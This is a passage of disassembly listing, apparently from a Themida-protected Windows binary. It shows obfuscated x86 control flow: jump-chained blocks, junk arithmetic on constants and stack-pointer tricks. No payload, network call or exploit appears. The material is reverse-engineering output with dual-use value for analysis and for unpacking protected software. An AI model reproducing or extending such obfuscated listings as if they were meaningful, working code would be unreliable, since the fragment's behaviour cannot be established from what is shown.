		mov	edx, 607A65CAh
		push	edx
		pop	ecx
		pop	edx
		and	ebx, ecx
		mov	ecx, [esp-8+arg_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-4+arg_0]
		pop	esp
		push	eax
		sub	esp, 4
		jmp	loc_5659C3
; ---------------------------------------------------------------------------


loc_55FC21:				; CODE XREF: sub_55EDA7+858Bj
		push	207h
		jmp	loc_55FE82
; ---------------------------------------------------------------------------


loc_55FC2B:				; CODE XREF: sub_55EDA7+9E55j
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		push	[esp+8+var_8]
		jmp	loc_566F2A
; ---------------------------------------------------------------------------


loc_55FC3C:				; CODE XREF: sub_55EDA7+3898j
		mov	esi, 4
		jmp	loc_567337
; ---------------------------------------------------------------------------


loc_55FC46:				; CODE XREF: sub_55EDA7+10C65j
		shl	esi, 2
		shl	esi, 3
		sub	esi, 37F3422Bh
		jmp	loc_564469
; ---------------------------------------------------------------------------


loc_55FC57:				; CODE XREF: sub_55EDA7+838Cj
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_E+2]
		pop	esp
		push	ebx
		mov	ebx, 20980241h
		jmp	loc_5648B3
; ---------------------------------------------------------------------------


loc_55FC6C:				; CODE XREF: sub_55EDA7+680Aj
		and	eax, 71832BDEh
		sub	eax, 0B5E5A7Dh
		xor	eax, 16EFB71h
		jmp	loc_56197E
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55FC87:				; CODE XREF: sub_55EDA7+BD30j
		sub	ebp, 8FA26C6h
		sub	ebp, eax
		jmp	loc_57107D
; ---------------------------------------------------------------------------


loc_55FC94:				; CODE XREF: sub_55EDA7+11456j
		xor	[esp+8+var_8], ebp
		jmp	loc_56CB39
; ---------------------------------------------------------------------------


loc_55FC9C:				; CODE XREF: sub_55EDA7+2C1Ej
		xchg	ecx, ebp
		jmp	loc_566F8A
; ---------------------------------------------------------------------------


loc_55FCA3:				; CODE XREF: sub_55EDA7+12E48j
		push	eax
		jmp	loc_569549
; ---------------------------------------------------------------------------


loc_55FCA9:				; CODE XREF: sub_55EDA7+68B4j
		mov	[ebx], al
		mov	ebx, [esp+0Ch+var_E+2]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+14h+var_16+2], ebx
		jmp	loc_564280
; ---------------------------------------------------------------------------


loc_55FCBF:				; CODE XREF: sub_55EDA7+5FE3j
		push	ebx
		push	ebp
		mov	ebp, 1E6373EAh
		mov	ebx, 973F84FAh
		jmp	loc_567FC0
; ---------------------------------------------------------------------------


loc_55FCD0:				; CODE XREF: sub_55EDA7+471Cj
		xor	bl, 0AFh
		sub	bl, 67h
		not	bl
		inc	bl
		xor	bl, 96h
		jmp	loc_56B588
; ---------------------------------------------------------------------------


loc_55FCE2:				; CODE XREF: sub_55EDA7+9A88j
		mov	edx, [esp+1Ch+var_1E+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+20h+var_22+2]
		pop	esp
		add	esp, 4
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55FD00:				; CODE XREF: sub_55EDA7+4378j
		xor	ecx, 48D9A691h
		add	edx, ecx
		pop	ecx
		sub	esi, 65693F6Dh
		add	esi, edx
		add	esi, 65693F6Dh
		pop	edx
		xor	esi, 10740554h
		shr	esi, 6
		push	eax
		mov	eax, 279A120h
		xor	esi, eax
		jmp	loc_57229D
; ---------------------------------------------------------------------------


loc_55FD2E:				; CODE XREF: sub_55EDA7+320Dj
		push	eax
		jmp	loc_56BD61
; ---------------------------------------------------------------------------


loc_55FD34:				; CODE XREF: sub_55EDA7-29Dj
		add	edi, 1F4819EEh
		jmp	loc_56A016
; ---------------------------------------------------------------------------


loc_55FD3F:				; CODE XREF: sub_55EDA7+1EB7j
		sub	al, bl
		pop	ebx
		push	[esp-24h+arg_20]
		mov	ecx, [esp-20h+arg_1C]
		add	esp, 4
		push	149Dh
		mov	[esp-20h+arg_1C], esi
		jmp	loc_55FEFB
; ---------------------------------------------------------------------------
		mov	ecx, [esp-20h+arg_1C]
		jmp	loc_560F21
; ---------------------------------------------------------------------------


loc_55FD60:				; CODE XREF: sub_55EDA7+C0BFj
		xchg	ebx, [esp-20h+arg_1C]
		jmp	loc_56C59A
; ---------------------------------------------------------------------------


loc_55FD68:				; CODE XREF: sub_55EDA7+B600j
		dec	edx
		inc	edx
		xor	edx, 4086AE17h
		jmp	loc_5658DF
; ---------------------------------------------------------------------------


loc_55FD75:				; CODE XREF: sub_55EDA7+209Ej
		sub	dh, 29h
		jmp	loc_55E5CD
; ---------------------------------------------------------------------------


loc_55FD7D:				; CODE XREF: sub_55EDA7+D2DDj
		add	esp, 4
		push	3C3Dh
		mov	[esp-20h+arg_1C], ebp
		mov	ebp, 67B9501Dh
		jmp	loc_56BE5B
; ---------------------------------------------------------------------------


loc_55FD95:				; CODE XREF: sub_55EDA7+13407j
		sub	esp, 4
		mov	[esp-1Ch+arg_18], ecx
		mov	cl, 77h
		jmp	loc_5723D6
; ---------------------------------------------------------------------------


loc_55FDA2:				; CODE XREF: sub_55EDA7+12D2j
		sub	esi, edx
		push	ebp
		jmp	loc_562ED3
; ---------------------------------------------------------------------------


loc_55FDAA:				; CODE XREF: sub_55EDA7+C88Aj
		mov	cl, 0AFh
		add	al, cl
		pop	ecx
		push	cx
		mov	ch, 0B5h
		jmp	sub_56F4D5
; ---------------------------------------------------------------------------


loc_55FDB8:				; CODE XREF: sub_55EDA7+E2B1j
		push	edx
		mov	edx, 15FF415Ch
		mov	ecx, edx
		pop	edx
		jmp	loc_56B514
; ---------------------------------------------------------------------------


loc_55FDC6:				; CODE XREF: sub_55EDA7+3324j
		mov	ecx, 13C76D0Ch
		jmp	loc_565DFC
; ---------------------------------------------------------------------------


loc_55FDD0:				; CODE XREF: sub_55EDA7+481Ej
		add	esi, ecx
		sub	esi, 0F266CC4h
		push	[esp-1Ah+arg_14+2]
		pop	ecx
		add	esp, 4
		jmp	loc_56E253
; ---------------------------------------------------------------------------


loc_55FDE7:				; CODE XREF: sub_55EDA7+12583j
		add	ebp, 3D1D7CA4h
		sub	ebp, 24CA1B2Dh
		push	7C79h
		mov	[esp-1Ah+arg_14+2], esi
		jmp	loc_56B070
; ---------------------------------------------------------------------------


loc_55FE00:				; CODE XREF: sub_55EDA7+38E3j
		xor	ebx, 19D09Bh
		add	eax, ebx
		jmp	loc_55FF65
; ---------------------------------------------------------------------------


loc_55FE0D:				; DATA XREF: Themida_:0055DF30o
		mov	ax, word ptr [esp-1Ah+arg_14+2]
		sub	esp, 4
		mov	[esp-16h+arg_10+2], eax
		mov	eax, esp
		jmp	loc_56BF55
; ---------------------------------------------------------------------------


loc_55FE1E:				; CODE XREF: sub_55EDA7+7D0Ej
		push	3D0Dh
		mov	[esp-12h+arg_C+2], ecx
		push	edi
		sub	[esp-0Eh+arg_8+2], 51F93813h
		pop	ecx
		jmp	loc_567975
; ---------------------------------------------------------------------------


loc_55FE34:				; CODE XREF: Themida_:0056D1C1j
		add	word ptr [esp-12h+arg_10], si
		sub	word ptr [esp-12h+arg_10], 7881h
		mov	si, word ptr [esp-12h+arg_C+2]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	esp, 4
		jmp	loc_55FF73
; ---------------------------------------------------------------------------


loc_55FE55:				; CODE XREF: sub_55EDA7+86j
		or	eax, ebx
		pop	ebx
		jmp	sub_56F61C
; ---------------------------------------------------------------------------


loc_55FE5D:				; CODE XREF: sub_55EDA7+6EC2j
		push	3308h
		jmp	loc_56C88A
; ---------------------------------------------------------------------------


loc_55FE67:				; CODE XREF: sub_55EDA7+7B47j
		add	esp, 4
		jmp	loc_5648FC
; ---------------------------------------------------------------------------


loc_55FE72:				; CODE XREF: sub_55EDA7+947Dj
		mov	eax, 21865D68h
		push	ebp
		mov	ebp, 45E01F6Eh
		jmp	loc_57205F
; ---------------------------------------------------------------------------


loc_55FE82:				; CODE XREF: sub_55EDA7+E7Fj
		mov	[esp+4+var_4], edx
		push	dword ptr [esp+4]
		mov	edx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_572D6F
; ---------------------------------------------------------------------------


loc_55FE94:				; CODE XREF: sub_55EDA7+7045j
		not	ecx
		not	ecx
		shl	ecx, 8
		xor	ecx, 7A593B04h
		push	455Dh
		mov	[esp+8+var_8], edx
		mov	edx, ecx
		mov	ebp, edx
		pop	edx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		add	ebx, ebp
		jmp	loc_566C46
; ---------------------------------------------------------------------------


loc_55FEBE:				; CODE XREF: sub_55EDA7+2362j
		add	[esp+arg_0], ebx
		pop	ebx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp+0], edi
		push	6838h
		jmp	loc_56A9FF
; ---------------------------------------------------------------------------


loc_55FEE0:				; CODE XREF: sub_55EDA7+7616j
		add	edx, 50913C37h
		add	edx, ebp
		push	esi
		mov	esi, 6CB9099Ah
		xor	esi, 3C2835ADh
		sub	edx, esi
		jmp	loc_565F5F
; ---------------------------------------------------------------------------


loc_55FEFB:				; CODE XREF: sub_55EDA7+FACj
		push	esp
		mov	esi, [esp-1Ch+arg_18]
		jmp	loc_56275D
; ---------------------------------------------------------------------------


loc_55FF04:				; CODE XREF: sub_55EDA7-B6j
		mov	ebp, 4
		add	esi, 37BA435Ah
		add	esi, 2BC15BFh
		add	esi, ebp
		jmp	loc_567722
; ---------------------------------------------------------------------------


loc_55FF1C:				; CODE XREF: sub_55EDA7+1331Bj
		mov	edx, 32AB05B8h
		push	edi
		mov	edi, 28D03B68h
		xor	edx, edi
		pop	edi
		xor	edx, 1A7B3ED4h
		add	ebp, edx
		push	[esp-0Ch+arg_8]
		pop	edx
		jmp	loc_572AB1
; ---------------------------------------------------------------------------


loc_55FF3B:				; CODE XREF: sub_55EDA7+B091j
		push	edx
		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		push	edx
		mov	edx, 19EE475Ah
		push	edx
		pop	ecx
		pop	edx
		jmp	loc_561292
; ---------------------------------------------------------------------------


loc_55FF50:				; CODE XREF: Themida_:0056C464j
		mov	ecx, esp
		jmp	loc_55F944
; ---------------------------------------------------------------------------


loc_55FF57:				; CODE XREF: sub_55EDA7+38EEj
		xor	dh, 0D0h
		xor	dh, 0ADh
		shr	dh, 4
		jmp	loc_567660
; ---------------------------------------------------------------------------


loc_55FF65:				; CODE XREF: sub_55EDA7+1061j
		mov	ebx, [esp-1Ah+arg_14+2]
		add	esp, 4
		jmp	loc_570869
; ---------------------------------------------------------------------------


loc_55FF73:				; CODE XREF: sub_55EDA7+10A9j
		mov	[esp-0Ah+arg_4+2], eax
		jmp	loc_5724A4
; ---------------------------------------------------------------------------


loc_55FF7B:				; CODE XREF: sub_55EDA7+B18Bj
		add	bh, 17h
		pop	ax
		add	al, 7Dh
		sub	al, bh
		sub	al, 7Dh
		push	[esp-0Ch+arg_8]
		jmp	loc_568CFE
; ---------------------------------------------------------------------------


loc_55FF8E:				; CODE XREF: sub_55EDA7+110D6j
		movzx	cx, ah
		push	76EAh
		mov	[esp-4+arg_0], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], ebp
		push	esp
		jmp	loc_5720BB
; ---------------------------------------------------------------------------


loc_55FFB4:				; CODE XREF: sub_55EDA7+D02Cj
		sub	esi, 4
		xchg	esi, [esp+0]
		jmp	loc_563231
; ---------------------------------------------------------------------------


loc_55FFBF:				; CODE XREF: sub_55EDA7+C6Aj
		pop	ebx
		shl	ecx, 2
		push	edi
		jmp	loc_570942
; ---------------------------------------------------------------------------


loc_55FFC9:				; CODE XREF: sub_55EDA7+10927j
		pop	eax
		xor	ebx, 6AAD195Dh
		shl	ebx, 1
		sub	ebx, 0ABB4EEB0h
		add	eax, 2508627Dh
		add	eax, ebx
		sub	eax, 2508627Dh
		mov	ebx, [esp-14h+arg_10]
		add	esp, 4
		jmp	loc_56F799
; ---------------------------------------------------------------------------


loc_55FFF2:				; CODE XREF: sub_55EDA7+3FF3j
		pop	ebx
		jmp	loc_5622AC
; ---------------------------------------------------------------------------


loc_55FFF8:				; CODE XREF: sub_55EDA7+D463j
		mov	[esp-1Ch+arg_18], eax
		xor	[esp-1Ch+arg_18], 4F722A51h
		jmp	loc_565270
; ---------------------------------------------------------------------------


loc_560007:				; CODE XREF: sub_55EDA7+A5E9j
		push	eax
		jmp	loc_56A815
; ---------------------------------------------------------------------------


loc_56000D:				; CODE XREF: sub_55EDA7+3531j
		or	esi, 1EDF52BDh
		jmp	loc_56D46D
; ---------------------------------------------------------------------------


loc_560018:				; CODE XREF: sub_55EDA7+38B6j
		push	esi
		sub	esp, 4
		mov	[esp-10h+arg_C], edi
		mov	edi, 5DBD1480h
		jmp	loc_55F53F
; ---------------------------------------------------------------------------


loc_56002C:				; CODE XREF: sub_55EDA7+8872j
		pop	esi
		jmp	sub_55ED11
; ---------------------------------------------------------------------------


loc_560032:				; CODE XREF: sub_55EDA7+7CC6j
		xor	ecx, 54FB3C97h
		add	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	edx
		push	[esp-14h+arg_14]
		pop	edx
		jmp	loc_56C546
; ---------------------------------------------------------------------------


loc_56004F:				; CODE XREF: sub_55EDA7+87ADj
		shr	edi, 1
		jmp	loc_567857
; ---------------------------------------------------------------------------


loc_560056:				; CODE XREF: sub_55EDA7+A0BDj
		mov	bl, cl
		pop	ecx
		pop	eax
		mov	dl, bl
		jmp	loc_571497
; ---------------------------------------------------------------------------


loc_560061:				; CODE XREF: sub_55EDA7+DD82j
		pop	ebx
		sub	ebx, 36AE6AAFh
		sub	ebx, 0EDCF105Ch
		jmp	loc_563C70
; ---------------------------------------------------------------------------


loc_560073:				; CODE XREF: sub_55EDA7+9BF0j
		push	esi
		mov	esi, 0
		jmp	loc_55FDA2
; ---------------------------------------------------------------------------


loc_56007E:				; CODE XREF: sub_55EDA7+23EBj
		pop	esi
		push	189h
		jmp	loc_56B922
; ---------------------------------------------------------------------------


loc_560089:				; CODE XREF: Themida_:0056C485j
		mov	edx, 4C6F0DA6h
		push	0
		sub	[esp-18h+arg_14], edx
		jmp	loc_56F7C6
; ---------------------------------------------------------------------------


loc_56009B:				; CODE XREF: sub_570517+1j
		mov	ebx, 0F3A7A958h
		xor	edx, ebx
		pop	ebx
		or	ebx, edx
		pop	edx
		not	ebx
		inc	ebx
		jmp	loc_56318E
; ---------------------------------------------------------------------------


loc_5600AE:				; CODE XREF: sub_55EDA7-1BEj
		xor	edx, 0C5C99577h
		or	ebp, edx
		pop	edx
		push	ebp
		add	[esp-14h+arg_10], 1
		mov	ebp, [esp-14h+arg_10]
		add	esp, 4
		jmp	loc_56033C
; ---------------------------------------------------------------------------


loc_5600CD:				; CODE XREF: sub_55EDA7+3616j
		push	esi
		push	ebp
		push	ebx
		jmp	loc_55F80D
; ---------------------------------------------------------------------------


loc_5600D5:				; CODE XREF: sub_55EDA7+6881j
		add	edx, 1
		add	edx, 6D630792h
		xor	edx, ecx
		jmp	loc_56D29A
; ---------------------------------------------------------------------------


loc_5600E8:				; CODE XREF: sub_55EDA7+17F0j
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		jmp	loc_561A33
; ---------------------------------------------------------------------------


loc_5600F6:				; CODE XREF: sub_56F10F+11j
		sub	edi, 4
		jmp	loc_5717E5
; ---------------------------------------------------------------------------


loc_560101:				; CODE XREF: sub_55EDA7+10A51j
		mov	edi, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_55F5D5
; ---------------------------------------------------------------------------


loc_56010F:				; CODE XREF: sub_55EDA7+DDB7j
		dec	ebx
		sub	ebx, 3E45D96Fh
		and	eax, ebx
		push	[esp-14h+arg_10]
		pop	ebx
		jmp	loc_564C8F
; ---------------------------------------------------------------------------


loc_560121:				; CODE XREF: sub_55EDA7+2FA0j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_560126:				; CODE XREF: sub_55EDA7+102E9j
		shr	edx, 2
		sub	edx, 0C9A7E345h
		sub	ebx, edx
		push	[esp-14h+arg_10]
		pop	edx
		add	esp, 4
		sub	ebx, eax
		push	ecx
		mov	ecx, 44FB7A64h
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 21F87309h
		jmp	loc_56F125
; ---------------------------------------------------------------------------


loc_560151:				; CODE XREF: sub_55EDA7+10ECCj
		pop	edx
		or	ebp, 0F327021h
		xor	ebp, 76F01FA9h
		inc	ebp
		sub	ebp, 2FD2A127h
		xor	edi, ebp
		pop	ebp
		jmp	loc_567493
; ---------------------------------------------------------------------------


loc_56016D:				; CODE XREF: sub_55EDA7+3BB3j
		push	esi
		jmp	loc_569CDD
; ---------------------------------------------------------------------------


loc_560173:				; CODE XREF: sub_55EDA7+CE60j
		dec	esi
		jmp	loc_57017F
; ---------------------------------------------------------------------------


loc_560179:				; CODE XREF: sub_55EDA7+E678j
		push	[esp-18h+arg_14]
		jmp	loc_5687E2
; ---------------------------------------------------------------------------


loc_560181:				; CODE XREF: sub_55EDA7+2F91j
		mov	[esp-14h+arg_10], edx
		push	eax
		mov	eax, 6B31339h
		mov	edx, 26B45B46h
		xor	edx, eax
		jmp	loc_56718F
; ---------------------------------------------------------------------------


loc_560196:				; CODE XREF: sub_55EDA7+9DEEj
		sub	ch, 6Eh
		jmp	loc_568ACF
; ---------------------------------------------------------------------------


loc_56019E:				; CODE XREF: sub_55EDA7+21Ej
		xchg	ebx, [esp+34h+var_36+2]
		mov	esp, [esp+34h+var_36+2]
		push	dword ptr [eax]
		jmp	loc_5614DD
; ---------------------------------------------------------------------------


loc_5601AB:				; CODE XREF: sub_55EDA7+10870j
		pop	eax
		or	edx, eax
		pop	eax
		push	edx
		not	[esp+34h+var_36+2]
		pop	edx
		neg	edx
		add	edx, 5579E37h
		add	ebx, 3632505h
		jmp	loc_563C88
; ---------------------------------------------------------------------------


loc_5601C7:				; CODE XREF: sub_55EDA7+10D32j
		mov	ecx, [esp+30h+var_32+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+34h+var_36+2]
		mov	esp, [esp+34h+var_36+2]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5601E4:				; CODE XREF: sub_55EDA7+FF1Fj
		add	ebx, ebp
		pop	ebp
		add	edi, ebx
		pop	ebx
		jmp	loc_562553
; ---------------------------------------------------------------------------


loc_5601EF:				; CODE XREF: sub_55EDA7+11ADFj
		pop	[esp+2Ch+var_2E+2]
		mov	esp, [esp+28h+var_2A+2]
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], ecx
		mov	ecx, 1
		push	ebx
		jmp	loc_55E3F4
; ---------------------------------------------------------------------------


loc_56020A:				; CODE XREF: sub_55EDA7+127CDj
		neg	edx
		shr	edx, 4
		dec	edx
		jmp	loc_566E8E
; ---------------------------------------------------------------------------


loc_560215:				; CODE XREF: sub_55EDA7+7931j
		shl	ecx, 3
		push	184Ah
		jmp	loc_56C5D1
; ---------------------------------------------------------------------------


loc_560222:				; CODE XREF: sub_55EDA7+B1D5j
		mov	[esp+34h+var_36+2], esi
		jmp	loc_5636CA
; ---------------------------------------------------------------------------


loc_56022A:				; CODE XREF: sub_55EDA7+9DB7j
		push	6793h
		mov	[esp+38h+var_3A+2], esi
		push	esp
		pop	esi
		push	2BFFh
		mov	[esp+3Ch+var_3E+2], ebx
		jmp	loc_569AE1
; ---------------------------------------------------------------------------


loc_560241:				; CODE XREF: sub_55EDA7-A3Bj
		mov	ebp, [esp+18h+var_1A+2]
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebp
		mov	ebp, esp
		push	5043h
		mov	[esp+20h+var_22+2], edi
		jmp	loc_563FE8
; ---------------------------------------------------------------------------


loc_560259:				; CODE XREF: sub_55EDA7+740Fj
		add	esp, 4
		push	ecx
		pop	eax
		pop	ecx
		or	ebx, eax
		pop	eax
		push	esi
		jmp	loc_56A3E5
; ---------------------------------------------------------------------------


loc_560268:				; CODE XREF: sub_55EDA7+8D24j
		add	ebx, ebp
		jmp	loc_56D8E3
; ---------------------------------------------------------------------------


loc_56026F:				; CODE XREF: sub_55EDA7+D138j
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], esp
		jmp	loc_5615B4
; ---------------------------------------------------------------------------


loc_56027D:				; CODE XREF: sub_55EDA7+11335j
		mov	edi, 0FCD1C98h
		jmp	loc_57173F
; ---------------------------------------------------------------------------


loc_560287:				; CODE XREF: sub_55EDA7+4F44j
		add	esp, 4
		push	ebx
		mov	ebx, 0D05ECF91h
		add	ebp, ebx
		pop	ebx
		jmp	loc_56E5FE
; ---------------------------------------------------------------------------


loc_56029B:				; CODE XREF: sub_55EDA7+F056j
		push	[esp+18h+var_1A+2]
		mov	edi, [esp+1Ch+var_1E+2]
		add	esp, 4
		push	esi
		jmp	loc_5624DE
; ---------------------------------------------------------------------------


loc_5602AA:				; CODE XREF: sub_55EDA7+8802j
		pop	esp
		jmp	loc_5695E1
; ---------------------------------------------------------------------------


loc_5602B0:				; CODE XREF: sub_55EDA7+160Ej
		add	ecx, 4
		jmp	loc_569432
; ---------------------------------------------------------------------------


loc_5602BB:				; CODE XREF: sub_55EDA7+F7F3j
		pop	ebp
		jmp	loc_565E8D
; ---------------------------------------------------------------------------


loc_5602C1:				; CODE XREF: sub_55EDA7+4148j
		sub	edx, 2F3309F4h
		add	edx, 4FD307B4h
		sub	edx, ecx
		sub	edx, 4FD307B4h
		jmp	loc_5696ED
; ---------------------------------------------------------------------------


loc_5602DA:				; CODE XREF: sub_570661+1j
		push	edi
		push	74CE67F6h
		pop	edi
		shl	edi, 7
		neg	edi
		add	edi, 6733FB04h
		mov	ebp, edi
		pop	edi
		add	edi, ebp
		jmp	loc_567BCC
; ---------------------------------------------------------------------------


loc_5602F6:				; CODE XREF: sub_55EDA7+58EEj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56A13E
; ---------------------------------------------------------------------------


loc_560304:				; CODE XREF: sub_55EDA7+5DF7j
		add	dl, bh
		pop	bx
		shl	dl, 3
		push	cx
		mov	cl, 5Bh
		add	dl, cl
		jmp	loc_56079B
; ---------------------------------------------------------------------------


loc_560316:				; CODE XREF: sub_55EDA7+E9C0j
		mov	dl, 0B4h
		not	dl
		not	dl
		jmp	loc_56DE61
; ---------------------------------------------------------------------------


loc_560321:				; CODE XREF: sub_55EDA7+11420j
		pop	ebx
		add	eax, 4
		push	7042h
		mov	[esp+18h+var_1A+2], eax
		push	[esp+18h+var_16+2]
		push	[esp+1Ch+var_1E+2]
		pop	eax
		jmp	loc_55F212
; ---------------------------------------------------------------------------


loc_56033C:				; CODE XREF: sub_55EDA7+1321j
		xor	ebp, 7D394DFAh
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp-1Ch+arg_18]
		pop	esp
		mov	ecx, [esp-20h+arg_1C]
		push	2BA3h
		mov	[esp-1Ch+arg_18], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 34827E8Ah
		xor	esi, 34827E8Eh
		add	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp-18h+arg_14], eax
		push	esi
		push	71435149h
		pop	esi
		jmp	loc_55EBBF
; ---------------------------------------------------------------------------


loc_56037A:				; CODE XREF: sub_55EDA7+2CC7j
		and	dl, 0CCh
		jmp	loc_57214E
; ---------------------------------------------------------------------------


loc_560382:				; CODE XREF: sub_55EDA7+23A7j
		push	edi
		mov	edi, 3AC00451h
		sub	esi, 5ECC5F1Dh
		add	esi, edi
		add	esi, 5ECC5F1Dh
		pop	edi
		jmp	loc_562922
; ---------------------------------------------------------------------------


loc_56039C:				; CODE XREF: sub_55EDA7+285Fj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5674D4
; ---------------------------------------------------------------------------


loc_5603A9:				; CODE XREF: sub_55EDA7+3CE8j
		mov	ebx, [esp-14h+arg_10]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5602B0
; ---------------------------------------------------------------------------


loc_5603BA:				; CODE XREF: sub_55EDA7+7647j
		mov	al, 4Dh
		push	ecx
		mov	ch, 6Ch
		jmp	loc_565A38
; ---------------------------------------------------------------------------


loc_5603C4:				; CODE XREF: sub_55EDA7+FD97j
		pop	edx
		add	eax, 4A1E7E20h
		sub	eax, 4B1E591Fh
		sub	eax, edi
		add	eax, 4B1E591Fh
		sub	eax, 4A1E7E20h
		jmp	loc_56DC8F
; ---------------------------------------------------------------------------


loc_5603E0:				; CODE XREF: sub_55EDA7+AAA3j
		mov	[esp-10h+arg_C], edi
		push	ecx
		jmp	loc_55EFCA
; ---------------------------------------------------------------------------


loc_5603E9:				; CODE XREF: sub_55EDA7+DA2Fj
		push	ecx
		jmp	loc_564FA9
; ---------------------------------------------------------------------------


loc_5603EF:				; CODE XREF: sub_55EDA7+1801j
		pop	edx
		jmp	loc_56E86C
; ---------------------------------------------------------------------------


loc_5603F5:				; CODE XREF: sub_55EDA7+13095j
		xor	ch, 0CDh
		not	ch
		neg	ch
		xor	ch, 0FFh
		mov	dl, ch
		jmp	loc_564B8A
; ---------------------------------------------------------------------------


loc_560406:				; CODE XREF: sub_55EDA7+CBD5j
		sub	[esp-0Ch+arg_C], 300E50E2h
		add	[esp-0Ch+arg_C], esi
		add	[esp-0Ch+arg_C], 300E50E2h
		add	[esp-0Ch+arg_C], 5B200F9Bh
		jmp	loc_55EDD4
; ---------------------------------------------------------------------------


loc_560427:				; CODE XREF: sub_55EDA7+A5F0j
		not	byte ptr [esp-0Ch+arg_8]
		pop	cx
		and	cl, 73h
		dec	cl
		xchg	dh, cl
		not	dh
		xor	cl, dh
		jmp	loc_5654DA
; ---------------------------------------------------------------------------


loc_56043C:				; CODE XREF: Themida_:0056DA25j
		shr	ebp, 6
		inc	ebp
		shl	ebp, 2
		neg	ebp
		shr	ebp, 4
		add	ebp, 1834C73Dh
		or	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 8590D7Fh
		inc	ecx
		add	ecx, 6782665Ah
		xor	ebx, ecx
		mov	ecx, [esp-0Eh+arg_8+2]
		add	esp, 4
		mov	ecx, ebx
		jmp	loc_56261E
; ---------------------------------------------------------------------------


loc_56046D:				; CODE XREF: sub_55EDA7+B71Fj
		push	7D24h
		mov	[esp-0Eh+arg_8+2], ebx
		jmp	loc_568305
; ---------------------------------------------------------------------------


loc_56047A:				; CODE XREF: sub_55EDA7+DC83j
		xchg	dh, ch
		push	dx
		mov	dh, 41h
		and	ch, dh
		pop	dx
		push	ebx
		mov	bl, 0B4h
		sub	ch, bl
		jmp	loc_56AB8E
; ---------------------------------------------------------------------------


loc_56048E:				; CODE XREF: sub_55EDA7+A429j
		pop	eax
		sub	ebp, 1
		not	ebp
		shl	ebp, 7
		xor	ebp, 0C3FE0B2Dh
		jmp	loc_56ABE5
; ---------------------------------------------------------------------------


loc_5604A5:				; CODE XREF: sub_55EDA7+9267j
		xor	ecx, edi
		pop	edi
		shr	ecx, 4
		or	ecx, 6A540A68h
		neg	ecx
		push	345Ch
		mov	[esp-0Eh+arg_8+2], eax
		mov	eax, 550551E2h
		and	ecx, eax
		pop	eax
		dec	ecx
		push	ebp
		mov	ebp, 0F13E041Ah
		sub	ecx, 46FE3F30h
		sub	ecx, offset dword_444D4C
		add	ecx, ebp
		add	ecx, offset dword_444D4C
		push	2766h
		mov	[esp-0Ah+arg_4+2], ebx
		mov	ebx, 30FC1E76h
		neg	ebx
		shr	ebx, 6
		neg	ebx
		shr	ebx, 1
		add	ebx, 218F6DC2h
		jmp	loc_572A64
; ---------------------------------------------------------------------------


loc_5604FF:				; CODE XREF: sub_55EDA7+FB19j
		pop	ebp
		add	esp, 4
		jmp	loc_56ACD2
; ---------------------------------------------------------------------------


loc_56050B:				; CODE XREF: sub_55EDA7+7E9Aj
		mov	esi, edi
		jmp	loc_57013E
; ---------------------------------------------------------------------------


loc_560512:				; CODE XREF: sub_55EDA7+AF44j
		add	ebp, 1CCF327Fh
		pop	esi
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xor	ebp, [esp-16h+arg_10+2]
		xor	[esp-16h+arg_10+2], ebp
		xor	ebp, [esp-16h+arg_10+2]
		pop	esp
		add	ebp, 4
		push	ebx
		sub	esp, 4
		mov	[esp-12h+arg_C+2], ecx
		push	3D39786Eh
		mov	ecx, [esp-0Eh+arg_8+2]
		add	esp, 4
		inc	ecx
		or	ecx, 6A524D3h
		push	ebx
		mov	ebx, 3FBD7CFDh
		xor	ecx, ebx
		pop	ebx
		mov	ebx, ecx
		pop	ecx
		sub	ebp, 0A8C4F70h
		add	ebp, ebx
		add	ebp, 0A8C4F70h
		pop	ebx
		xchg	ebp, [esp-1Ah+arg_14+2]
		pop	esp
		jmp	loc_56D9CF
; ---------------------------------------------------------------------------


loc_560575:				; CODE XREF: sub_55EDA7+C95Bj
		push	2BD7h
		jmp	loc_570EF5
; ---------------------------------------------------------------------------


loc_56057F:				; CODE XREF: sub_55EDA7+9EB8j
		push	[esp-1Ah+arg_14+2]
		pop	ebp
		jmp	loc_5703E6
; ---------------------------------------------------------------------------


loc_560588:				; CODE XREF: sub_55EDA7+D9AAj
		mov	ebp, 3E305B98h
		inc	ebp
		shl	ebp, 6
		sub	ebp, 8C16E63Ch
		jmp	loc_5600E8
; ---------------------------------------------------------------------------


loc_56059C:				; CODE XREF: sub_55EDA7+57E6j
